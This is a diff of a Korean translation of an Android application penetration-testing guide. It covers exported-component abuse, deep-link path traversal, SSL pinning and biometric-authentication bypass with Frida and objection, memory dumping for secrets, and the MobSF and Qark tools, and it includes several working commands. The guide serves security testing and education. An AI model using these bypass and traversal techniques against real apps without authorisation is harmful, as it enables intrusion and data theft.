파일에 설정된 **권한**을 **확인**하세요. 특히, 어떤 파일이 **전 세계적으로 읽거나 쓸 수 있도록 설정되어 있는지 확인하세요**. 이는 **어떤 애플리케이션**이든 장치에 설치된 경우, 출처나 의도에 관계없이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다. **외부 저장소** **외부 저장소**에서 파일을 다룰 때는 몇 가지 주의 사항이 필요합니다: 1. **접근성**: -- 외부 저장소의 파일은 **전 세계적으로 읽고 쓸 수 있습니다**. 즉, 모든 애플리케이션이나 사용자가 이러한 파일에 접근할 수 있습니다. +- 외부 저장소의 파일은 **전 세계적으로 읽고 쓸 수 있습니다**. 이는 모든 애플리케이션이나 사용자가 이러한 파일에 접근할 수 있음을 의미합니다. 2. **보안 문제**: - 접근이 용이하므로 **민감한 정보를 외부 저장소에 저장하지 않는 것이 좋습니다**. -- 외부 저장소는 제거되거나 모든 애플리케이션에 의해 접근될 수 있어 보안성이 떨어집니다. +- 외부 저장소는 제거되거나 모든 애플리케이션에 의해 접근될 수 있어 보안이 떨어집니다. 3. **외부 저장소에서 데이터 처리**: - 외부 저장소에서 검색한 데이터에 대해 항상 **입력 검증을 수행**하세요. 이는 데이터가 신뢰할 수 없는 출처에서 온 것이기 때문에 중요합니다. - 동적 로딩을 위해 외부 저장소에 실행 파일이나 클래스 파일을 저장하는 것은 강력히 권장되지 않습니다. -- 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 **서명되고 암호학적으로 검증되었는지 확인**한 후 동적으로 로드해야 합니다. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 중요합니다. +- 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 **서명되고 암호학적으로 검증된 후 동적으로 로드되도록 해야 합니다**. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 중요합니다. 외부 저장소는 `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`에서 접근할 수 있습니다. > [!NOTE] -> Android 4.4 (**API 17**)부터 SD 카드에는 **앱 전용 디렉토리로의 접근을 제한하는 디렉토리 구조**가 있습니다. 이는 악의적인 애플리케이션이 다른 앱의 파일에 대한 읽기 또는 쓰기 접근을 얻는 것을 방지합니다. +> Android 4.4 (**API 17**)부터 SD 카드에는 **앱 전용 디렉토리로의 접근을 제한하는 디렉토리 구조**가 있습니다. 이는 악의적인 애플리케이션이 다른 앱의 파일에 대한 읽기 또는 쓰기 접근을 얻지 못하도록 방지합니다. **명확한 텍스트로 저장된 민감한 데이터** @@ -149,11 +149,11 @@ A good way to test this is to try to capture the traffic using some proxy like B **Use of Insecure and/or Deprecated Algorithms** -개발자는 **권장되지 않는 알고리즘**을 사용하여 **검증**을 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘의 예로는 RC4, MD4, MD5, SHA1 등이 있습니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시 브루트 포스 **저항**이 가능한 해시를 사용해야 합니다. +개발자는 **권장되지 않는 알고리즘**을 사용하여 **검증**을 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘에는 RC4, MD4, MD5, SHA1 등이 포함됩니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시 브루트 포스 **저항**이 가능한 해시를 사용해야 합니다. ### Other checks -- APK를 **난독화**하여 공격자의 리버스 엔지니어링 작업을 어렵게 만드는 것이 좋습니다. +- 공격자가 리버스 엔지니어링 작업을 어렵게 하기 위해 **APK를 난독화**하는 것이 좋습니다. - 앱이 민감한 경우(예: 은행 앱) **모바일이 루팅되었는지 확인하는 자체 검사를 수행**하고 그에 따라 행동해야 합니다. - 앱이 민감한 경우(예: 은행 앱) **에뮬레이터**가 사용되고 있는지 확인해야 합니다. - 앱이 민감한 경우(예: 은행 앱) **실행하기 전에 자체 무결성을 확인**하여 수정되었는지 확인해야 합니다. @@ -266,11 +266,11 @@ You need to activate the **debugging** options and it will be cool if you can ** **Logging** -개발자는 **디버깅 정보**를 공개적으로 노출하는 것에 주의해야 하며, 이는 민감한 데이터 유출로 이어질 수 있습니다. 애플리케이션 로그를 모니터링하여 민감한 정보를 식별하고 보호하기 위해 [**pidcat**](https://github.com/JakeWharton/pidcat) 및 `adb logcat` 도구를 사용하는 것이 좋습니다. **Pidcat**은 사용 용이성과 가독성 때문에 선호됩니다. +개발자는 **디버깅 정보**를 공개적으로 노출하는 것에 주의해야 하며, 이는 민감한 데이터 유출로 이어질 수 있습니다. [**pidcat**](https://github.com/JakeWharton/pidcat) 및 `adb logcat` 도구를 사용하여 애플리케이션 로그를 모니터링하고 민감한 정보를 식별하고 보호하는 것이 좋습니다. **Pidcat**은 사용 용이성과 가독성 때문에 선호됩니다. > [!WARNING] -> **Android 4.0** 이후 버전에서는 **응용 프로그램이 자신의 로그에만 접근할 수 있습니다**. 따라서 응용 프로그램은 다른 앱의 로그에 접근할 수 없습니다.\ -> 어쨌든, **민감한 정보를 기록하지 않는 것이 여전히 권장됩니다**. +> **Android 4.0** 이후 버전에서는 **애플리케이션이 자신의 로그에만 접근할 수 있습니다**. 따라서 애플리케이션은 다른 앱의 로그에 접근할 수 없습니다.\ +> 어쨌든, **민감한 정보를 로그에 남기지 않는 것이 여전히 권장됩니다**. **Copy/Paste Buffer Caching** @@ -278,9 +278,9 @@ Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣 **Crash Logs** -애플리케이션이 **충돌**하고 **로그를 저장**하는 경우, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 애플리케이션을 리버스 엔지니어링할 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해 충돌 시 로그를 기록하지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 보안을 위해 SSL 채널을 통해 전송되도록 해야 합니다. +애플리케이션이 **충돌**하고 **로그를 저장**하는 경우, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 애플리케이션을 리버스 엔지니어링할 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해 충돌 시 로그를 남기지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 SSL 채널을 통해 전송되도록 해야 합니다. -펜테스터로서 **이 로그를 살펴보는 것이 좋습니다**. +펜테스터로서, **이 로그를 살펴보는 것을 시도해 보세요**. **Analytics Data Sent To 3rd Parties** @@ -288,22 +288,22 @@ Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣 ### SQLite DBs -대부분의 애플리케이션은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블** 및 **열**의 이름과 저장된 모든 **데이터**를 살펴보아야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있음)를 발견할 수 있기 때문입니다.\ +대부분의 애플리케이션은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블** 및 **열**의 이름과 저장된 모든 **데이터**를 살펴보아야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있음)를 찾을 수 있기 때문입니다.\ 데이터베이스는 `/data/data/the.package.name/databases`에 위치해야 하며, 예를 들어 `/data/data/com.mwr.example.sieve/databases`와 같습니다. -데이터베이스가 기밀 정보를 저장하고 **암호화**되어 있지만 애플리케이션 내에서 **비밀번호**를 **찾을 수 있다면** 여전히 **취약점**입니다. +데이터베이스가 기밀 정보를 저장하고 **암호화**되어 있지만 애플리케이션 내에서 **비밀번호**를 찾을 수 있다면 여전히 **취약점**입니다. `.tables`를 사용하여 테이블을 나열하고, `.schema `을 사용하여 테이블의 열을 나열합니다. ### Drozer (Exploit Activities, Content Providers and Services) -From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 Android 앱의 역할을 **가정하고** 다른 앱과 상호작용할 수 있게 해줍니다. 이는 설치된 애플리케이션이 할 수 있는 모든 작업을 수행할 수 있으며, Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용할 수 있습니다.\ +From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 **Android 앱의 역할을 가정하고** 다른 앱과 상호작용할 수 있게 해줍니다. 이는 설치된 애플리케이션이 할 수 있는 모든 작업을 수행할 수 있으며, Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용할 수 있습니다.\ Drozer는 **내보낸 활동, 내보낸 서비스 및 콘텐츠 제공자를 악용하는 데 유용한 도구**입니다. ### Exploiting exported Activities [**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -또한 활동의 코드는 **`onCreate`** 메서드에서 시작된다는 점을 기억하세요. +또한 활동의 코드는 **`onCreate`** 메서드에서 시작된다는 것을 기억하세요. **Authorisation bypass** @@ -325,44 +325,44 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity **민감한 정보 유출** -**활동은 결과를 반환할 수도 있습니다**. 만약 당신이 **`setResult`** 메서드를 호출하고 **민감한 정보를 반환하는** 내보내기된 보호되지 않은 활동을 찾는다면, 이는 민감한 정보 유출입니다. +**활동은 결과를 반환할 수도 있습니다**. 만약 **`setResult`** 메서드를 호출하고 **민감한 정보를 반환하는** 내보내기된 보호되지 않은 활동을 찾는 데 성공한다면, 민감한 정보 유출이 발생합니다. #### Tapjacking -Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **사용자가 예상치 못한 행동을 하도록 만들 수 있습니다**. Tapjacking에 대한 더 많은 정보는 [**여기를 클릭하세요**](#tapjacking). +Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **사용자가 예상치 못한 작업을 수행하게** 만들 수 있습니다. Tapjacking에 대한 더 많은 정보는 [**여기를 참조하세요**](#tapjacking). ### 콘텐츠 제공자 악용 - 민감한 정보 접근 및 조작 -[**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#content-provider)\ -콘텐츠 제공자는 기본적으로 **데이터를 공유하는** 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그들로부터 **민감한** 데이터를 **추출**할 수 있을지도 모릅니다. 또한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다. +[**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#content-provider)\ +콘텐츠 제공자는 기본적으로 **데이터를 공유**하는 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그들로부터 **민감한** 데이터를 **추출**할 수 있을 것입니다. 또한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다. [**Drozer로 콘텐츠 제공자를 악용하는 방법을 배우세요.**](drozer-tutorial/index.html#content-providers) ### **서비스 악용** -[**서비스가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#services)\ -서비스의 동작은 `onStartCommand` 메서드에서 시작된다는 것을 기억하세요. +[**서비스가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#services)\ +서비스의 동작은 `onStartCommand` 메서드에서 시작된다는 점을 기억하세요. -서비스는 기본적으로 **데이터를 수신하고**, **처리**하며 **응답**(또는 하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드를 확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보를 추출하기 위해 동적으로 테스트**해야 합니다, 인증 수단을 우회하는 등의 작업을 위해...\ +서비스는 기본적으로 **데이터를 수신**하고, **처리**하며 **응답**(또는 하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드**를 **확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보 추출**, 인증 수단 우회 등을 위해 **동적으로 테스트**해야 합니다.\ [**Drozer로 서비스를 악용하는 방법을 배우세요.**](drozer-tutorial/index.html#services) ### **브로드캐스트 수신기 악용** -[**브로드캐스트 수신기가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#broadcast-receivers)\ -브로드캐스트 수신기의 동작은 `onReceive` 메서드에서 시작된다는 것을 기억하세요. +[**브로드캐스트 수신기가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#broadcast-receivers)\ +브로드캐스트 수신기의 동작은 `onReceive` 메서드에서 시작된다는 점을 기억하세요. 브로드캐스트 수신기는 특정 유형의 메시지를 기다리고 있습니다. 수신기가 메시지를 처리하는 방식에 따라 취약할 수 있습니다.\ [**Drozer로 브로드캐스트 수신기를 악용하는 방법을 배우세요.**](#exploiting-broadcast-receivers) ### **스킴 / 딥 링크 악용** -MobSF와 같은 도구나 [이 스크립트](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)를 사용하여 딥 링크를 수동으로 찾을 수 있습니다.\ -**adb** 또는 **브라우저**를 사용하여 선언된 **스킴**을 **열 수 있습니다**: +MobSF와 같은 도구나 [이 스크립트](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)와 같은 스크립트를 사용하여 딥 링크를 수동으로 찾을 수 있습니다.\ +**adb** 또는 **브라우저**를 사용하여 선언된 **스킴**을 **열 수** 있습니다: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` _패키지 이름을 **생략할 수** 있으며, 모바일은 자동으로 해당 링크를 열어야 하는 앱을 호출합니다._ -```markup +```html Click me @@ -376,11 +376,11 @@ _패키지 이름을 **생략할 수** 있으며, 모바일은 자동으로 해 **민감한 정보** -딥링크를 찾을 때마다 **URL 매개변수를 통해 민감한 데이터(예: 비밀번호)를 수신하지 않는지 확인하세요**, 왜냐하면 다른 애플리케이션이 **딥링크를 가장하여 그 데이터를 훔칠 수 있기 때문입니다!** +딥링크를 찾을 때마다 **URL 매개변수를 통해 민감한 데이터(예: 비밀번호)를 수신하지 않는지 확인하세요**, 다른 애플리케이션이 **딥링크를 가장하여 해당 데이터를 훔칠 수 있기 때문입니다!** **경로의 매개변수** -**딥링크가 URL의 경로 내에서 매개변수를 사용하고 있는지 확인해야 합니다**. 예: `https://api.example.com/v1/users/{username}`. 이 경우, 경로 탐색을 강제하여 다음과 같은 접근을 할 수 있습니다: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\ +**딥링크가 URL의 경로 내에서 매개변수를 사용하고 있는지 확인해야 합니다**. 예: `https://api.example.com/v1/users/{username}`. 이 경우, 다음과 같이 경로 탐색을 강제할 수 있습니다: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\ 애플리케이션 내에서 올바른 엔드포인트를 찾으면 **Open Redirect**(경로의 일부가 도메인 이름으로 사용되는 경우), **계정 탈취**(CSRF 토큰 없이 사용자 세부정보를 수정할 수 있고 취약한 엔드포인트가 올바른 메서드를 사용하는 경우) 및 기타 취약점을 유발할 수 있습니다. 더 많은 [정보는 여기에서](http://dphoeniixx.com/2020/12/13-2/) 확인하세요. **더 많은 예시** @@ -403,15 +403,15 @@ SSL 핀닝은 애플리케이션이 서버의 인증서를 애플리케이션 #### 트래픽 검사 -HTTP 트래픽을 검사하려면 **프록시 도구의 인증서를 설치해야 합니다**(예: Burp). 이 인증서를 설치하지 않으면 암호화된 트래픽이 프록시를 통해 표시되지 않을 수 있습니다. 사용자 정의 CA 인증서를 설치하는 방법에 대한 가이드는 [**여기를 클릭하세요**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +HTTP 트래픽을 검사하려면 **프록시 도구의 인증서를 설치해야 합니다**(예: Burp). 이 인증서를 설치하지 않으면 암호화된 트래픽이 프록시를 통해 표시되지 않을 수 있습니다. 사용자 지정 CA 인증서를 설치하는 방법에 대한 가이드는 [**여기를 클릭하세요**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -**API Level 24 이상**을 대상으로 하는 애플리케이션은 프록시의 CA 인증서를 수락하도록 네트워크 보안 구성을 수정해야 합니다. 이 단계는 암호화된 트래픽을 검사하는 데 중요합니다. 네트워크 보안 구성 수정에 대한 지침은 [**이 튜토리얼을 참조하세요**](make-apk-accept-ca-certificate.md). +**API Level 24 이상**을 대상으로 하는 애플리케이션은 프록시의 CA 인증서를 수락하도록 네트워크 보안 구성을 수정해야 합니다. 이 단계는 암호화된 트래픽을 검사하는 데 중요합니다. 네트워크 보안 구성을 수정하는 방법에 대한 지침은 [**이 튜토리얼을 참조하세요**](make-apk-accept-ca-certificate.md). #### SSL 핀닝 우회 SSL 핀닝이 구현된 경우 HTTPS 트래픽을 검사하기 위해 이를 우회해야 합니다. 이를 위한 다양한 방법이 있습니다: -- 자동으로 **apk를 수정하여** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)로 SSL 핀닝을 **우회**합니다. 이 옵션의 가장 큰 장점은 SSL 핀닝을 우회하기 위해 루트가 필요하지 않지만, 애플리케이션을 삭제하고 새로 설치해야 하며, 항상 작동하지는 않습니다. +- **apk**를 자동으로 **수정하여** SSLPinning을 **우회**하는 [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)을 사용할 수 있습니다. 이 옵션의 가장 큰 장점은 SSL 핀닝을 우회하기 위해 루트가 필요하지 않지만, 애플리케이션을 삭제하고 새로 설치해야 하며, 항상 작동하지는 않습니다. - **Frida**를 사용하여 이 보호를 우회할 수 있습니다(아래에서 논의됨). Burp+Frida+Genymotion을 사용하는 방법에 대한 가이드는 다음과 같습니다: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - **objection**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` - **MobSF 동적 분석**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다(아래에서 설명됨). @@ -431,11 +431,11 @@ Android 애플리케이션을 펜테스트하려면 Frida를 사용하는 방법 - Frida로 작업하기 위한 "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - Ojection은 Frida 사용을 자동화하는 데 훌륭합니다: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) - 여기에서 멋진 Frida 스크립트를 찾을 수 있습니다: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)에서 지시한 대로 Frida를 로드하여 안티 디버깅 / 안티 Frida 메커니즘을 우회해 보세요(도구 [linjector](https://github.com/erfur/linjector-rs)). +- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)에서 지시한 대로 Frida를 로드하여 안티 디버깅 / 안티 Frida 메커니즘을 우회해 보세요 (도구 [linjector](https://github.com/erfur/linjector-rs)) ### **메모리 덤프 - Fridump** -애플리케이션이 비밀번호나 니모닉과 같은 민감한 정보를 저장하고 있지 않은지 확인하세요. +애플리케이션이 비밀번호나 암기구문과 같은 민감한 정보를 저장하고 있지 않은지 확인하세요. [**Fridump3**](https://github.com/rootbsd/fridump3)를 사용하여 다음과 같이 앱의 메모리를 덤프할 수 있습니다: ```bash @@ -452,7 +452,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a ``` ### **Keystore의 민감한 데이터** -Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소입니다. 그러나 충분한 권한이 있으면 여전히 **액세스할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** pentests는 이를 확인해야 하며, 루트 사용자 또는 장치에 물리적으로 접근할 수 있는 사람이 이 데이터를 훔칠 수 있습니다. +Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소입니다. 그러나 충분한 권한이 있으면 여전히 **액세스할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** 펜테스트는 루트 사용자로 확인해야 하며, 물리적으로 장치에 접근할 수 있는 사람이 이 데이터를 훔칠 수 있습니다. 앱이 keystore에 데이터를 저장하더라도, 데이터는 암호화되어야 합니다. @@ -462,7 +462,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **지문/생체 인식 우회** -다음 Frida 스크립트를 사용하면 **지문 인증을 우회**할 수 있을 수 있으며, Android 애플리케이션이 **특정 민감한 영역을 보호하기 위해 수행할 수 있습니다:** +다음 Frida 스크립트를 사용하면 **지문 인증을 우회**할 수 있을 것입니다. Android 애플리케이션이 **특정 민감한 영역을 보호하기 위해 수행할 수 있습니다:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` @@ -470,11 +470,11 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ` `VT_UPLOAD = TRUE`). `VT_UPLOAD`를 `False`로 설정하면 **해시**가 파일 대신 **업로드**됩니다. +MobSF는 **diff/Compare** 분석을 허용하고 **VirusTotal**와 통합할 수 있습니다 (API 키를 _MobSF/settings.py_에 설정하고 활성화해야 합니다: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). `VT_UPLOAD`를 `False`로 설정하면 **해시**가 파일 대신 **업로드**됩니다. ### MobSF를 이용한 보조 동적 분석 **MobSF**는 **Android**에서 **동적 분석**에 매우 유용할 수 있지만, 이 경우 호스트에 MobSF와 **genymotion**을 설치해야 합니다 (VM이나 Docker는 작동하지 않습니다). _참고: **먼저 genymotion에서 VM을 시작한 후** **MobSF를 시작해야 합니다.**_\ **MobSF 동적 분석기**는 다음을 수행할 수 있습니다: -- **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되며, 스크린샷은 사용자가 원하는 시점에 눌러야 하거나 "**Exported Activity Tester**"를 눌러야 모든 내보낸 활동의 스크린샷을 얻을 수 있습니다. +- **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되며, 스크린샷은 원할 때 눌러야 하거나 "**Exported Activity Tester**"를 눌러 모든 내보낸 활동의 스크린샷을 얻어야 합니다. - **HTTPS 트래픽 캡처** - **Frida**를 사용하여 **런타임** **정보**를 얻기 -안드로이드 **버전 > 5**에서는 **Frida를 자동으로 시작**하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 합니다. 테스트된 애플리케이션에서만 트래픽을 캡처합니다. +Android **버전 > 5**에서는 **Frida를 자동으로 시작**하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 합니다. 테스트된 애플리케이션의 트래픽만 캡처합니다. **Frida** -기본적으로 SSL 핀닝, **루트 탐지** 및 **디버거 탐지**를 우회하고 **흥미로운 API**를 모니터링하기 위해 일부 Frida 스크립트를 사용합니다.\ -MobSF는 또한 **내보낸 활동을 호출**하고, 그 스크린샷을 캡처하여 **보고서**에 저장할 수 있습니다. +기본적으로 SSL 핀닝, **루트 탐지** 및 **디버거 탐지**를 **우회**하고 **흥미로운 API**를 **모니터링**하기 위해 일부 Frida 스크립트를 사용합니다.\ +MobSF는 또한 **내보낸 활동을 호출**하고, 그 스크린샷을 **캡처**하여 보고서에 **저장**할 수 있습니다. 동적 테스트를 **시작**하려면 초록색 버튼: "**Start Instrumentation**"을 누릅니다. "**Frida Live Logs**"를 눌러 Frida 스크립트에서 생성된 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드에 대한 모든 호출, 전달된 인수 및 반환 값을 확인합니다 (이것은 "Start Instrumentation"을 누른 후에 나타납니다).\ -MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (Frida 스크립트의 결과를 MobSF에 보내려면 `send()` 함수를 사용하십시오). 또한 로드할 수 있는 **여러 사전 작성된 스크립트**가 있습니다 (더 추가할 수 있습니다 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), 그냥 **선택하고**, "**Load**"를 누르고 "**Start Instrumentation**"을 누릅니다 (해당 스크립트의 로그는 "**Frida Live Logs**"에서 볼 수 있습니다). +MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (Frida 스크립트의 결과를 MobSF에 보내려면 `send()` 함수를 사용하십시오). 또한 **여러 개의 미리 작성된 스크립트**를 로드할 수 있습니다 (더 추가할 수 있습니다 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), 그냥 **선택하고**, "**Load**"를 누르고 "**Start Instrumentation**"을 누릅니다 (해당 스크립트의 로그는 "**Frida Live Logs**"에서 볼 수 있습니다). ![](<../../images/image (419).png>) @@ -553,13 +553,13 @@ MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 ( - **문자열 비교 캡처**: 매우 유용할 수 있습니다. **비교되는 2개의 문자열**과 결과가 True인지 False인지 보여줍니다. - **클래스 메서드 나열**: 클래스 이름(예: "java.io.File")을 입력하면 클래스의 모든 메서드를 출력합니다. - **클래스 패턴 검색**: 패턴으로 클래스를 검색합니다. -- **클래스 메서드 추적**: **전체 클래스**를 **추적**합니다 (클래스의 모든 메서드의 입력 및 출력을 확인합니다). 기본적으로 MobSF는 여러 흥미로운 Android API 메서드를 추적합니다. +- **클래스 메서드 추적**: **전체 클래스**를 **추적**합니다 (클래스의 모든 메서드의 입력 및 출력을 봅니다). 기본적으로 MobSF는 여러 흥미로운 Android API 메서드를 추적합니다. -사용하려는 보조 모듈을 선택한 후 "**Start Instrumentation**"을 누르면 "**Frida Live Logs**"에서 모든 출력을 볼 수 있습니다. +사용할 보조 모듈을 선택한 후 "**Start Intrumentation**"을 누르면 "**Frida Live Logs**"에서 모든 출력을 볼 수 있습니다. **Shell** -Mobsf는 또한 동적 분석 페이지 하단에 몇 가지 **adb** 명령, **MobSF 명령** 및 일반 **shell** **명령**을 포함한 셸을 제공합니다. 몇 가지 흥미로운 명령: +Mobsf는 동적 분석 페이지 하단에 몇 가지 **adb** 명령, **MobSF 명령** 및 일반 **shell** **명령**을 제공하는 셸도 제공합니다. 몇 가지 흥미로운 명령: ```bash help shell ls @@ -570,10 +570,10 @@ receivers ``` **HTTP 도구** -HTTP 트래픽이 캡처되면 "**HTTP(S) Traffic**" 하단에서 캡처된 트래픽의 보기 또는 "**Start HTTPTools**" 녹색 버튼에서 더 나은 보기를 볼 수 있습니다. 두 번째 옵션에서 **캡처된 요청**을 **프록시**(예: Burp 또는 Owasp ZAP)로 **전송**할 수 있습니다.\ -이를 위해, _Burp 켜기 -->_ _Intercept 끄기 --> MobSB HTTPTools에서 요청 선택_ --> "**Send to Fuzzer**" 버튼을 누르세요 --> _프록시 주소 선택_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +HTTP 트래픽이 캡처되면 "**HTTP(S) Traffic**" 하단에서 캡처된 트래픽의 보기 좋지 않은 형태를 볼 수 있으며, "**Start HTTPTools**" 녹색 버튼에서 더 나은 보기를 볼 수 있습니다. 두 번째 옵션에서 **캡처된 요청**을 **프록시**인 Burp 또는 Owasp ZAP으로 **전송**할 수 있습니다.\ +이를 위해, _Burp 전원 켜기 -->_ _Intercept 끄기 --> MobSB HTTPTools에서 요청 선택_ --> "**Send to Fuzzer**" 버튼을 누르기 --> _프록시 주소 선택_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP 요청을 퍼징**하고 취약점을 찾아보세요. +MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP 요청을 퍼징**하고 취약점을 찾을 수 있습니다. > [!NOTE] > MobSF로 동적 분석을 수행한 후 프록시 설정이 잘못 구성될 수 있으며 GUI에서 이를 수정할 수 없습니다. 다음을 수행하여 프록시 설정을 수정할 수 있습니다: @@ -582,7 +582,7 @@ MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP > adb shell settings put global http_proxy :0 > ``` -### Inspeckage를 이용한 보조 동적 분석 +### Inspeckage를 통한 보조 동적 분석 [**Inspeckage**](https://github.com/ac-pm/Inspeckage)에서 도구를 받을 수 있습니다.\ 이 도구는 **동적 분석**을 수행하는 동안 **애플리케이션에서 무슨 일이 일어나고 있는지** 알리기 위해 몇 가지 **후크**를 사용합니다. @@ -595,7 +595,7 @@ MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP ### [Qark](https://github.com/linkedin/qark) -이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾기 위해 설계되었습니다. 이 도구는 또한 발견된 일부 취약점을 악용하기 위한 **"Proof-of-Concept" 배포 가능한 APK** 및 **ADB 명령**을 생성할 수 있습니다(노출된 활동, 인텐트, 탭재킹 등...). Drozer와 마찬가지로 테스트 장치를 